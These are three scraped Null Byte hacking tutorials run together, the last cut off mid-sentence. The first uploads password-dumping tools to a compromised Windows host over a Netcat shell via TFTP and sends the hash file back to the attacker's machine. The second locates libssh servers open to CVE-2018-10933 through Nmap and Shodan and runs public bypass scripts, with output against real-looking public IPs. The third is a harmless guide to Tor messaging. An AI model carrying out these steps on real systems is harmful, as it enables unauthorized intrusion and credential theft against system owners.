Welcome back, my fledgling hackers!Sometimes, for a variety of reasons, we can only get a command shell on our target system. For instance, withMetasploit, it's not always possible to get the all powerfulMeterpreteron our target system. In other cases, we may be able to connect to a command shell viaNetcatorCryptcat.In each of these cases, to control and own the target system, we may have to upload additional software. TFTP may be our answer!How TFTP WorksTFTP is a UDP/IP protocol that uses port 69. It is used to upload (GET) and download (PUT) files between computer systems without authentication. It operates on a client/server architecture. If we can install/use a TFTP server onour Kali system, then we can use it to upload hacking software to the target system from a command line.For instance, if we wanted to grab the password hashes and crack them, we would need to upload samdump2 and pwdump to the target system like inthis tutorial. After grabbing the password hashes, we could then use TFTP to download the files to Kali for cracking offline.What Systems Have TFTP Clients?Nearly every OS has a TFTP client installed, but not always enabled. On Windows XP systems and earlier, the TFTP client is enabled by default. On Windows Vista systems and later, the TFTP client must be enabled through the control panel. System admins often enable it for administrative purposes and leave it enabled.Some Unix/Linux systems have it enabled by default as well. Many network switches and routers have TFTP enabled in order to upload and download new configuration files. When it is, we can upload and download software—at will—to the target system,ifwe have a TFTP server.Kali Linux, our hacking platform of choice, has the advanced TFTP (aTFTP) server installed by default. We can use it, thereby, to upload and download software to the target machine.Using TFTP to Install Software on a TargetIn this tutorial, we will upload password cracking software to a Windows 2003 Server system with the TFTP client enabled. Once we have this software uploaded to the target, it will enable us to grab the password hashes that we can then download and crack.Step 1: Fire Up Kali & Open a TerminalLet's start by firing up Kali and opening terminal like below.Step 2: Start the TFTP Server & Create TFTP DirectoryThe first step is to start the aTFTP (atftpd) server.kali > service atftpd startThen, create a directory we want to upload our malicious software from.kali > mkdir /tftpbootStep 3: Edit Configuration FileNext, we need to edit the configuration file for atftpd. You can open it in any text editor, but here I will use Leafpad.kali > leafpad /etc/default/atftpdEdit this text file as I have above. After editing the configuration file, save it. Now, we need to restart the aTFTP server to use the new configuration.kali> /etc/init.d/atftpdStep 4: Copy Our Malicious SoftwareNext, we need to copy our malicious software to the/tftpbootdirectory. First, navigate to the directory where the software resides. In this case, it's/usr/bin.kali > cd /usr/binThen, use the "cp" command to copy it to the/tftpbootdirectory.kali > cp samdump2 /tftpbootkali > cp pwdump /tftpbootStep 5: Connect to the TargetNow, we need to connect to the target machine we want to upload the software to. This might happen through getting a command shell using Metasploit, or other ways, but here I will be using Netcat.kali >nc 192.168.1.121 6996As you can see, we are connected to the Windows machine through a command shell provided by a Netcat listener on the target system.Step 6: Move the Malicious Software to the TargetNow that we have our aTFTP server configured, our software in/tftpbootdirectory, and we are connected via Netcat, we can upload the malicious software to the Windows system.The TFTP syntax looks like that below. First, the TFTP command, then the-iswitch, then the GET command (upload), the IP address where the TFTP server resides (Kali, in this case), and finally, the name of the file we want to upload from the TFTP server's default directory.C:\> tftp -i GET 192.168.1.119 samdump2As you can see, we were able to upload the samdump2 file to the target. When we check our target with a directory listing, we can see that the file is now on the target in the same directory as where we issued the TFTP command.C:\dirFinally, do the same with the pwdump file.C:\> tftp -i GET 192.168.1.119 pwdumpStep 7: Download the HashesOnce we have pwdump and sandump2 on the target system, we can grab the hashes. Save them to a file called, say, hashes.txt. Finally, we can now download this hash file to Kali by typing:C:/tftp -i PUT 192.168.1. 119 hashes.txtThis will send the hashes.txt file to our/tftpbootdirectory where we can now runHashcatorJohn the Ripperon the them to crack the password hashes.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image vianixCraftRelatedHack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHack Like a Pro:How to Evade AV Software with ShellterNews:Malware Targets Mac Users Through Well-Played Phishing AttackThe Hacks of Mr. Robot:How to Spy on Anyone's Smartphone ActivityNews:Samsung Keyboard Vulnerability Exposes 600M Mobile Devices!Hack Like a Pro:How to Change the Signature of Metasploit Payloads to Evade Antivirus DetectionHack Like a Pro:How to Hijack Software Updates to Install a Rootkit for Backdoor AccessNews:What Does Britney Spears Have to Do with Russian Hackers? More Than You ThinkHow To:Check if Third-Party Apps Are Safe to Install on Your MacHow To:Steal Ubuntu & MacOS Sudo Passwords Without Any CrackingHack Like a Pro:Capturing Zero-Day Exploits in the Wild with a Dionaea Honeypot, Part 1News:Hackers Have 92% Success Rate Hacking Gmail on AndroidHacking macOS:How to Create an Undetectable PayloadAndroid for Hackers:How to Backdoor Windows 10 & Livestream the Desktop (Without RDP)News:How Google Forcing Apps to Target Oreo Will Help with Android's Malware ProblemHow To:Stop the New Java 7 Exploit from Installing Malware on Your Mac or PCHack Like a Pro:How to Cover Your Tracks & Leave No Trace Behind on the Target SystemHow To:Don't Be Duped by Malicious Short Links—Here's How You Verify the Destination URL Before ClickingHow to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:How to Hack Like the NSA (Using Quantum Insert)How To:Hack Your Neighbor with a Post-It Note, Part 1 (Performing Recon)Hack Like a Pro:Windows CMD Remote Commands for the Aspiring Hacker, Part 1Hack Like a Pro:How to Secretly Hack Into, Switch On, & Watch Anyone's Webcam RemotelyHack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Bypass Gatekeeper & Exploit macOS 10.14.5 & EarlierHack Like a Pro:Creating a Virtually Undetectable Covert Channel with RECUBHack Like a Pro:How to Remotely Grab a Screenshot of Someone's Compromised ComputerHack Like a Pro:How to Crash Your Roommate's Windows 7 PC with a LinkHow To:Hack Your Kindle Touch to Get It Ready for Homebrew Apps & MoreHow To:Change Your Step Count Goal in Samsung HealthHack Like a Pro:How to Spy on Anyone, Part 3 (Catching a Terrorist)How To:Recover Passwords for Windows PCs Using OphcrackHow To:Identify Antivirus Software Installed on a Target's Windows 10 PCHow To:The Safest Way to Disable ALL Bloatware on Your Galaxy S10How To:Check if Your Apps Are Targeting OreoHack Like a Pro:How to Bypass Antivirus Software by Disguising an Exploit's SignatureHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItNews:FBI Shuts Down One of the Biggest Hacking ForumsHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android Device
How to Locate & Exploit Devices Vulnerable to the Libssh Security Flaw « Null Byte :: WonderHowTo
Computers all over the world rely on a program called "libssh" to use the SSH communications protocol, which allows trusted users to log in and administer computers remotely. Due to a flaw in libssh, fooling a computer into granting SSH access is as easy as telling it you already have permission. The vulnerability can lead to an attacker gaining complete control over a device.What SSH Is & Why We Have a Big ProblemComputers underpin many of the essential systems in our society, and these systems need to be periodically accessed and updated. For network admins and other IT professionals, configuring and updating systems they administer is a common task. To do this, a protocol called SSH, or the secure shell, is often used to remotely access another networked device, allowing a user to make changes to any system they have permission to log into.Libssh is primarily used to interact remotely with servers, easily granting trusted users a command line interface that has complete control over the device. The power that SSH allows over a device means that security is critical, which is why SSH has historically been so difficult to attack. It makes this exploit even more notable and serious, as it potentially threatens many systems.What the CVE-2018-10933 Vulnerability TargetsFor an SSH connection to be created, there must be an SSH server listening on the device you want to access remotely. This server listens for requests to connect and grants access to authorized users. Libssh is a library written in C that powers the server listening for SSH on many devices, used by major companies such as GitHub to interact with its infrastructure.Despite its popularity, libssh is maintained in the spare time of a small team of developers and is not as widely used as other SSH libraries, such as the more familiar OpenSSH. While this is good news for most users who may be running OpenSSH, there were still thousands of devices running vulnerable versions of libssh connected directly to the internet at the time of the discovery.Even months after the initial reporting ofCVE-2018-10933, there are still plenty of devices that aren't updated yet, even though libsshreleased patchesvia libssh version 0.8.4 and libssh version 0.7.6.How to Exploit the CVE-2018-10933 Flaw in LibsshIn a normal SSH session, the user will attempt to log in with a username and password, and according to whether or not the credentials are valid, the server will accept or reject the connection. In the example below, we attempt to log in to a server running libssh with the wrong password by typingssh username@ipaddressinto a terminal window.ssh root@159.180.132.163 The authenticity of host '159.180.132.163 (159.180.132.163)' can't be established. RSA key fingerprint is SHA256:Vkx9gDp1E/df1Yn0bDrgXIIYcTnyCVU6vmgqLKKqrhQ. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '159.180.132.163' (RSA) to the list of known hosts. root@159.180.132.163's password: Permission denied, please try again. root@159.180.132.163's password: Permission denied, please try again. root@159.180.132.163's password: root@159.180.132.163: Permission denied (publickey,keyboard-interactive,password).Because we don't know the password, the attempt to connect is rejected, and we are kept out of the server. On top of this, we are banned from connecting to that server for some time if we try to log in too many times and fail.In versions of libssh with the bug in question, a user can trick the system into thinking they are already authenticated by sending an unexpected message indicating the connection already succeeded, bypassing the need to supply a password. It allows an attacker to gain complete control over the affected system with no knowledge of the password, and it represents a critical vulnerability in any system with affected versions of libssh.So How Does This Trick Work?Imagine if you could gain access to a stranger's house by merely telling them you live there. In this trick, we skip the process of proving we belong with a password and instead send a "success" message.A cartoon explaining the LibSSH exploit by @svblxyz.Image by svblxyz/TwitterThis bug works when an attacker doesn't try to log in the normal way at all, and instead sends the server a message that seems to confirm that the attacker has already authenticated. This "authentication succeeded" message confuses the server into granting access without a password, totally bypassing the normal security of the system.Step 1: Install Tools & DependenciesThe first program we will use to scan for vulnerable devices is called Nmap, which caneasily be installed. On Kali, it should than by default, but if it's not, you can quickly download it with the following command.apt install nmapIn order to detect if a device we discover is vulnerable, we will be using the Python program libssh-scanner. It's is written in Python 2.7, so if you only have Python 3 installed, you will have to make sure to alsoinstall Python 2.7.To install libssh-scanner, you need to clone thelibssh-scanner repositoryby typing the following into a terminal window.git clone https://github.com/leapsecurity/libssh-scanner.gitThen, afternavigating inside the directoryandlistingits contents, you must install the required libraries by running thepipcommand seen below.cd libssh-scanner ls pip install -r requirements.txtNext, you must also install the program to thanperform the attack ,. This time, you're cloning the"libSSH-Authentication-Bypass" repositoryand installing any dependencies using the following commands.git clone https://github.com/purplesec/libSSH-Authentication-Bypass.git cd libSSH-Authentication-Bypass pip install -r requirements.txtStep 2: Use Nmap to Scan for Services Running LibsshThe first step to fixing or exploiting a vulnerable device is finding it, and it's relatively easy to find devices on your local network that may require attention. To do so, we will use a program calledNmapto locate devices running an SSH server and determine if libssh is running on them. Nmap is an essential tool in any hacker's toolkit, enabling one to quickly scan and discover all hosts and services on a given network or IP range.Don't Miss:Top 5 Intrusive Nmap Scripts Hackers & Pentesters Should KnowIn this case, we will scan the devices connected locally to our network, and Nmap will tell us whether or not each device on the network is using a vulnerable version of libssh. To follow this guide, you will need to install Nmap, but if you useKali Linux, you likely already have Nmap installed.To scan and discover all devices on the local network using libssh, open a terminal window and enter the followingnmapcommand.nmap -sV -p22 192.168.0.0/24Breaking down the command,nmaptells the computer that we want to actually start using Nmap, while-sVtells Nmap that we want to perform a service scan, which grabs the banner of any service used by on an open port. The flag-p22tells Nmap to only scan devices on port 22, which is the standard port for SSH communication. While this might not find devices that use SSH on a different port, it will dramatically reduce search times.Finally, the target expressed as a subnet range; The first three bytes of this will be unique to your search. When scanning a range of computers rather than just one, the 0/24 at the end is essential for searching the entire subnet. If you need to find your subnet range, you can use a tool like "ipcalc" which will calculate it for you. To do so, find your IP address from typingifconfig, then typeipcalc yourIP(replace "yourIP" with your IP address).The command will return a list of devices connected to the subnet, as well as some information gathered from the scanned port. In this case we are looking for any targets that are using a version of libssh earlier than 0.7.6. You can expect to see an output like below.Nmap scan report for 172.16.42.1 Host is up (0.0098s latency). PORT STATE SERVICE VERSION 22/tcp closed ssh Nmap scan report for 172.16.42.32 Host is up (0.21s latency). PORT STATE SERVICE VERSION 22/tcp open ssh libssh 0.7.2 (protocol 2.0) Nmap scan report for 172.16.42.53 Host is up (0.079s latency). PORT STATE SERVICE VERSION 22/tcp closed ssh Nmap scan report for 172.16.42.67 Host is up (0.024s latency). PORT STATE SERVICE VERSION 22/tcp filtered sshStep 3: Discover Remote Devices Running Vulnerable Libssh VersionsThe vast majority of vulnerable servers will be accessible via a remote network, so we will need to search in a different way to find devices not connected directly to our LAN.To find a remote target, you will need to take advantage of a service calledShodan, asearch engine that can find any deviceconnected to the web — unlike Google which only returns results from web servers on port 80. For example, instead of directing you to a website trying to sell you security cameras, Shodan can direct you to the login page of functioning IP cameras, potentially granting you access to the camera given the default password is unchanged.Shodan will have indexed many vulnerable SSH servers, which we can look for both by port number and other keyword searches that reveal hosts running versions of libssh before 0.7.6 which we know to be affected by the vulnerability.Don't Miss:How to Find Any Router's Web Interface Using ShodanTo start,sign up for a free account, which allows you to view the first two pages of any search query, or about 20 unique devices. Then, to find servers vulnerable to the libssh exploit, you'll need three terms in the search:port:22, which is the default port for the SSH protocol. Even though SSH can be moved to any unused port, this isn't too common because all it really does is prevent the server from being found with a simple scan for port 22.LibSSH, which returns any server that advertises using the libssh library, indicating that they are potentially exploitable.0.7.*, which limits the results of the search to devices that are using versions of libssh that start with "0.7." and excludes more up-to-date versions from the results. While you may still get some results that are patched, you'll eliminate most of the more updated devices with this filter.The search above will return a list of IP addresses that may be vulnerable to this attack, along with some more information that Shodan was able to retrieve. Shodan's information can include a banner pull, the location of the device, the latest activity, and the organization in control of the server.Don't Miss:How to Find Vulnerable Webcams Across the Globe Using ShodanStep 4: Try the Exploit on a Possibly Vulnerable SystemOnce you have gathered a list of targets susceptible to the exploit, either local or remote, you can use "libssh-scanner" to scan target IP addresses and determine if they're still likely vulnerable. Other tools can go even further to try establishing a shell, but it is very important to note that accessing another device using SSH without permission could violate the Computer Fraud and Abuse Act. Depending on who owns the device you access, this can land you in serious legal trouble.In addition to legal considerations, you should be wary of connecting to devices from your real IP address that could be purposely vulnerable to this exploit.Honeypotsare often set up this way to attract amateur hackers, and you could find yourself inside a device configured as a trap.Don't Miss:Use the Cowrie SSH Honeypot to Catch Attackers on Your NetworkNow, use libssh-scanner to check if the targets gathered in steps 2 and 3 will actually be vulnerable to the exploit. To do this, create a TXT file containing all of the IP addresses found in steps 2 and 3, with each IP address separated by new lines. Name this text file "ips.txt" and place it inside the same folder as libssh-scanner was downloaded to earlier in step 1.Once inside the directory, enter the following command into a terminal window.python libsshscan.py --port 22 --aggressive ips.txtThe command will run Python 2.7, scan each IP address in the text file, and determine if the target is actually vulnerable to the CVE-2018-10933 security flaw. As you can see below, performing the scan narrowed down the list of potential targets from Shodan to just one — 159.180.132.163.python libsshscan.py --aggressive --port 22 ips.txt libssh scanner 1.0.4 Searching for Vulnerable Hosts... * 52.151.63.100:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.2') * 13.57.20.28:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0') * 132.206.51.74:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0') * 18.221.40.109:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0') * 52.1.165.128:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0') * 54.86.221.162:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0') * 52.173.202.21:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0') * 54.193.60.245:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0') ! 159.180.132.163:22 is likely VULNERABLE to authentication bypass (b'SSH-2.0-libssh-0.7.2') * 34.194.133.107:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0') Scanner Completed SuccessfullyTo check the one result, use libSSH-Authentication-Bypass to test the attack. Change directory into the folder you downloaded libSSH-Authentication-Bypass to previously in step 1, and enter the following command, substituting "159.180.132.163" with the IP address you wish to scan.python3 libsshauthbypass.py --host 159.180.132.163The command returns the following output on a server that has been partially patched but is still vulnerable to the authentication bypass.python3 bypasswithfakekey.py --host 159.180.132.163 DEBUG:paramiko.transport:starting thread (client mode): 0x74a0d30 DEBUG:paramiko.transport:Local version/idstring: SSH-2.0-paramiko_2.0.8 DEBUG:paramiko.transport:Remote version/idstring: SSH-2.0-libssh-0.7.2 INFO:paramiko.transport:Connected (version 2.0, client libssh-0.7.2) DEBUG:paramiko.transport:kex algos:['diffie-hellman-group14-sha1', 'diffie-hellman-group1-sha1'] server key:['ssh-rsa'] client encrypt:['aes256-ctr', 'aes192-ctr', 'aes128-ctr', 'aes256-cbc', 'aes192-cbc', 'aes128-cbc', 'blowfish-cbc', '3des-cbc'] server encrypt:['aes256-ctr', 'aes192-ctr', 'aes128-ctr', 'aes256-cbc', 'aes192-cbc', 'aes128-cbc', 'blowfish-cbc', '3des-cbc'] client mac:['hmac-sha2-256', 'hmac-sha2-512', 'hmac-sha1'] server mac:['hmac-sha2-256', 'hmac-sha2-512', 'hmac-sha1'] client compress:['none', 'zlib', 'zlib@openssh.com'] server compress:['none', 'zlib', 'zlib@openssh.com'] client lang:[''] server lang:[''] kex follows?False DEBUG:paramiko.transport:Kex agreed: diffie-hellman-group1-sha1 DEBUG:paramiko.transport:Cipher agreed: aes128-ctr DEBUG:paramiko.transport:MAC agreed: hmac-sha2-256 DEBUG:paramiko.transport:Compression agreed: none /Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/rsakey.py:130: CryptographyDeprecationWarning: signer and verifier have been deprecated. Please use sign and verify instead. algorithm=hashes.SHA1(), DEBUG:paramiko.transport:kex engine KexGroup1 specified hash_algo <built-in function openssl_sha1> DEBUG:paramiko.transport:Switch to new keys ... /Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/client.py:689: UserWarning: Unknown ssh-rsa host key for 159.180.132.163: b'7a7f8ca5b97cdd9356114ac650cc1353' key.get_fingerprint()))) DEBUG:paramiko.transport:userauth is OK INFO:paramiko.transport:Authentication (password) failed. Auth Bypassed of the server you trying to bypass but can't spawn the shell it's patched, truncated or using wrong vulnerable libSSH version. -blacknbunnyIf you see a message indicating the connection is successful, then you've confirmed the vulnerability on the device you're testing. If the connection fails, or you see a partially successful result like above, then you've confirmed that the issue does not affect the target (even though it may need to be updated anyway if you get a partial success).Step 5: Automate the Attack & Other ConsiderationsIf you are scanning a large network with many devices connected to it, having all the results from a Nmap scan dumped into the terminal window can making manually parsing the data unwieldy and time-consuming.By taking advantage of some handy Linux tools, you can limit the displayed results to ones that are relevant to the attack you're trying to perform. To do this, enter the following command into a terminal window, with "192.168.0.0/24" substituted with your IP address range.nmap -sV -p22 192.168.0.0/24 | grep -B 4 "LibSSH" | cat >> results.txt.The first part of this command is familiar, as it is identical to the command used to perform the Nmap scan in step 2. It's followed by the|symbol, which is referred to as a pipe, which "pipes" (or sends) the results from the Nmap scan into agrepsearch that finds lines containing text matching "LibSSH."Because the IP for the results is printed four lines above where the SSH information is declared, you'll need to add-B 4to ensure all the necessary information is included.Finally, after grabbing the information needed, the data is piped into a text file using thecatcommand, which creates a TXT file containing all the matching results.Don't Miss:How to Use Netcat, the Swiss Army Knife of Hacking ToolsHow to Defend Against the AttackIf you are managing a server that uses libssh to manage SSH communication, it is important to ensure that you are using libssh version 0.7.6 or newer, as this when the libssh developers patched the issue.To reduce the likelihood of being found on Shodan, you should avoid forwarding ports to the open internet. In general, it's better to use a VPN to access your local network, thus preventing your ports from being exposed to the internet at all.If you're worried about your devices showing up on Shodan, you can check to see if your IP address has ports being forwarded usingRouter Security, which lets you see information about your public IP address.I hope you enjoyed this guide to detecting and attacking devices with the libssh vulnerability! If you have any questions about this tutorial on libssh, feel free to ask them below or reach out to me on Twitter@KodyKinzie.Don't Miss:Discover Computers Vulnerable to EternalBlue & EternalRomance Zero-DaysFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow To:Check for the Stagefright Exploit on Your Android DeviceMeltdown & Spectre:Here's How to Keep Your iPhone or Android Phone SecureNews:Huge iPhone Security Flaw Reveals One Big Benefit iOS Has Over AndroidHow To:Hack Your Kindle Touch to Get It Ready for Homebrew Apps & MoreSiri Exploited:Bypass the iPhone's Lock Screen to Browse Contacts, Make Calls, Send Emails, & Texts (iOS 7.1.1)How To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!News:How Spammers Can Steal Your Personal Info from SnapchatNews:Hackers Claim 1$ Million Bounty for Security Flaw in iOS 9Rickroll Warning:This Exploit Can Hijack Any Nearby ChromecastNews:Apple's iOS 7.1.1 Update Is Now Available: Why It's a Bigger Deal Than You ThinkNews:Samsung Keyboard Vulnerability Exposes 600M Mobile Devices!How To:Exploit EternalBlue on Windows Server with MetasploitHeartbleed Still Lingers:How to Check Your Android Device for VulnerabilitiesHow To:Firefox 16 Is Vulnerable to Hackers—Here's How to Downgrade to the Safer Firefox 15 VersionHow To:Set Up an SSH Server with Tor to Hide It from Shodan & HackersHow To:Detect BlueBorne Vulnerable Devices & What It MeansHow To:New iOS 9 Flaw Exposes Private Photos & Contacts—Here's the FixHow To:Exploit Remote File Inclusion to Get a ShellNews:The Scariest LiDAR Vulnerability We've Seen YetNews:Samsung's Latest Oreo Update Doesn't Have a KRACK FixNews:How Governments Around the World Are Undermining Citizens' Privacy & Security to Stockpile CyberweaponsTell Your Friends:How to Protect Yourself from Android's Biggest Security Flaw in YearsNews:'Metaphor' Exploit Threatens Millions of Android Devices—Here's How to Stay SafeHow To:Apple Flaw Lets Thieves Completely Reset Your Apple Watch & Get Away with ItNews:Another Security Concern from OnePlus — Backdoor Root App Comes Preinstalled on Millions of PhonesNews:Flawed Laptop Fingerprint Readers Make Your Windows Password Vulnerable to HackersHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHack Like a Pro:How to Find Almost Every Known Vulnerability & Exploit Out ThereHow To:Hack Distributed Ruby with Metasploit & Perform Remote Code ExecutionHow To:Exploit Java Remote Method Invocation to Get RootHow To:Run Your Favorite Graphical X Applications Over SSHHow To:Use Commix to Automate Exploiting Command Injection Flaws in Web ApplicationsHow To:Seize Control of a Router with RouterSploitHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPNews:Security Flaw in HTC Smartphones Leaks Your Personal Data to Certain Android AppsForbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal LoginsNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreIPsec Tools of the Trade:Don't Bring a Knife to a GunfightNews:Apple Developers Running Beta Builds of iOS 7.1 Still Vulnerable to SSL Security FlawRoot Exploit:Memodipper Gets You Root Access to Systems Running Linux Kernel 2.6.39+
How to Use Private Encrypted Messaging Over Tor « Null Byte :: WonderHowTo
Tor is an excellent obfuscation network for web traffic, and while instant messaging over the network is very useful, it can be relatively difficult to configure. In this guide, we'll look at two synchronous communications platforms (instant messengers) which can be routed over the Tor network,RicochetandXMPP.Ricochet, as described on its website, "uses the Tor network to reach your contacts without relying on messaging servers. It creates a hidden service, which is used to rendezvous with your contacts without revealing your location or IP address." This technique leads to Ricochet being one of the most secure messaging programs available, visible in theSecure Messenger ScorecardbyYawnbox, which was based on the prior work of the Electronic Frontier Foundation.Image viayawnboxThis chart compares XMPP and Richochet with legacy SMS and voice calls, showing the difference in features behind each messaging platform.XMPPis not inherently secure in itself, but it can be combined with other technologies to make it very secure while offering some features that Ricochet does not. Unlike Ricochet, XMPP traffic is passed over a server which isn't under the control of the user, offering less privacy in this sense than Ricochet. However, this setup allows for messages to be carried even when users are not necessarily online.Don't Miss:How To Send End-To-End Encrypted Emails To Non-Proton Mail RecipientsXMPP can be used with a variety of clients, and indeed combined with Tor and message encryption on a variety of clients as well. Clients such asTor MessengerofferOTR (Off-The-Record) encryptionand carry all traffic over Tor, but the client does not support multipoint encryption. Other clients, such asGajimandPidgin, as used in this tutorial, require a bit of additional configuration, but can be configured to use Tor and multipoint encryption while offering a very usable interface.Step 1: Downloading RicochetWhile Ricochet binaries are available fromthe Richochet homepage, the Tor version packaged with the messaging application is relatively outdated, with the last build from November 5, 2016. While the program itself is still known to be secure, the Tor version should be updated for maximum security.As such, rather than downloading a binary, it will be best to build Ricochet from source. We can fetch a copy of the source code from git.git clonehttps://github.com/ricochet-im/ricochetStep 2: Installing RicochetAfter downloading the Ricochet source, we'll need to make sure we have all dependencies before compiling. On Debian/Ubuntu, the following commands should work assuming all dependencies are found in the repositories.apt-get install qt5-qmake qt5-default qtbase5-dev qttools5-dev-tools qtdeclarative5-dev qtmultimedia5-devapt-get install qml-module-qtquick-controls qml-module-qtquick-dialogs qml-module-qtmultimediaapt-get install build-essential libssl-dev pkg-config libprotobuf-dev protobuf-compilerInstall Tor, orbuild it from sourceto ensure complete trustworthiness. Otherwise, it can be installed with apt.sudo apt-get install torDon't Miss:Access the Dark Web While Staying Anonymous with TorNext, move into the Ricochet directory with cd.cd ricochetTo build and install Ricochet, use qmake first for Qt building. The qmake process should be relatively quick.qmakeFinally, run make to complete the build process. This may take slightly longer to build.makeAfter the build process is completed successfully, Ricochet can be run.Step 3: Using RicochetWe can launch Ricochet by running "./ricochet" from within the Ricochet directory. Errors and warning messages will be logged to the terminal from which this is launched. On the first run, Ricochet will prompt the user to configure their Tor connection. Unless you wish to use bridges or have a censored or proxied connection, simply clicking "Connect" should be sufficient.Once Ricochet is running and connected to Tor, we should first click the "Preferences" cog icon and then the "Tor" tab to confirm the Tor version in use. If the Tor version is at least 0.3.X.X, Ricochet is safe to use as of October 2017.The interface of Ricochet is relatively straightforward. The plus icon at the upper left of the window allows you to add other users based on their ricochet identifiers, formatted as "ricochet:" followed by a string of random characters. The nicknames or contact names assigned to a given ID are entirely client-side, however, when adding a new user, one can include a short message to help identify oneself.Chatting in Ricochet works like any other instant messaging application, type and then press enter. There are no special characters or peculiar text formatting, save for a message capacity limit. The only peculiarity is that for security purposes, messages are only visible while the window remains open, and conversations can only be carried out while both parties are online.Step 4: Installing Pidgin for XMPPWhile Ricochet is extremely secure andhas been thoroughly audited, the program itself has several limitations, including the lack of group chat functionality and the need for both users to be online at once.Check Out:Telegram 101: How To Enable End-To-End Encryption For Your ChatsInstead, we can use XMPP, Tor, and several encryption plugins by using an alternate client. Pidgin is a multi-protocol instant messaging client available for Windows, OS X, and Linux. To be able to route it over the Tor network, it's simplest to point it towards the Tor service on a Linux distro such as Ubuntu, Debian, or Kali. Pidgin is available atthe Pidgin homepage, and in most Linux repositories.On Ubuntu based systems, it can be installed using apt, as seen below.sudo apt-get install pidginIf Tor is not yet installed, it will need to be as well. Type the following to install it.sudo apt-get install torAfter Pidgin is installed, launch it by running "pidgin" on the command line or navigating to it through the applications menu.Step 5: Configuring PidginOn the first launch, Pidgin prompts the user to add accounts. We can add an account immediately at this time, but it may be worthwhile to take special care in choosing servers and configuring our network connection first.Some XMPP servers will allow inline registration through Pidgin, however, others require registration through a website. When choosing an XMPP server, consider the location of the server, their state policies, and their uptime. A list of XMPP servers is available atthis link.Check Out:How To Encrypt Your Calls & Texts On AndroidIf one plans to communicate only over Tor, it may be worth considering an XMPP server with an onion hidden server for extra privacy, but keep in mind that a hidden service server will only be able to communicate with members whose accounts are also on hidden services.Keep in mind that while the contents of messages will be private from a server administrator due to encryption, other metadata including messages times, conversation participants, and contact lists may be logged. To avoid this, it is possible to host one's own XMPP server, but otherwise, it generally will be sufficient to keep this metadata logging potential in mind and take the necessary operational security precautions.Don't Miss:How To Access The Dark Web While Staying Anonymous With TorFor this example, I registered an account atthe XMPP homepage. If you wish to remain anonymous, it's important to register your account over Tor, aVPN like PIA, or both, so to maintain separation between your personal IP and the account you register.For more:How To Fully Anonymize Kali with Tor, Whonix, & PIA VPNIf you already feel your internet connection is private and secure, you can click "Add" within Pidgin. Otherwise, it will be best to close the window and configure our Tor connection, first by ensuring that the Tor service is running. We can start this as a daemon using systemd by typing the following.systemctl start torWe can alternatively launch it in its own terminal window with error logging by typing the command below.sudo torOnce Tor is running, and after closing the "Accounts" window, we can access preferences by pressingCtrl+P, or opening it under the "Tools" menu.With this menu open, we'll want to click on "Proxy" in the left pane. On this window, the "Proxy Type" drop-down menu should be changed to select "Tor/Privacy (SOCKS5)" rather than "No Proxy." As the Tor service is running on our local system at port 9050, we should change "Host" to 127.0.0.1 and "Port" to 9050.After configuring our global proxy settings, we can add our account by opening "Manage Accounts" under the "Accounts" menu of the main Pidgin windowHere we can add our XMPP account details. Select "XMPP" as the "Protocol" and add one's username and password. The "Domain" is the server on which you registered your account and the "Local alias" is what your account is named locally. If you're registering an account on a server which allows online registration, you may wish to check the "Create this new account on the server" box.While Global Proxy Settings should be sufficient for this process, the Tor configuration data can also be added to the "Proxy" tab of the Modify Account window.If the account successfully connects when the "Enable" box is checked, the account is ready to communicate, but not necessarily securely. The last part of configuration to do is enabling and requiring encryption. Open the "Plugins" manager under the "Tools" menu in Pidgin, and look for OTR, or Off-The-Record messaging, and ensure that it is enabled.If you wish to encrypt group chats, it may be useful toinstall Lurchfor Pidgin, an implementation ofOMEMO, or OMEMO Multi-End Message and Object Encryption. OMEMO is an adaptation of the Signal Protocol, created by Open Whisper Systems.Check out:Signal Messenger 101: How To Register Your Signal Account Using a Google Voice NumberAfter making sure that OTR is enabled, we'll generally want to enforce it as a requirement for all chats. This can be done by returning to the "Modify Account" menu, opening the "Advanced" tab, and changing the "Connection Security" drop-down menu to select "Require Encryption."With this completed, Pidgin and XMPP should be 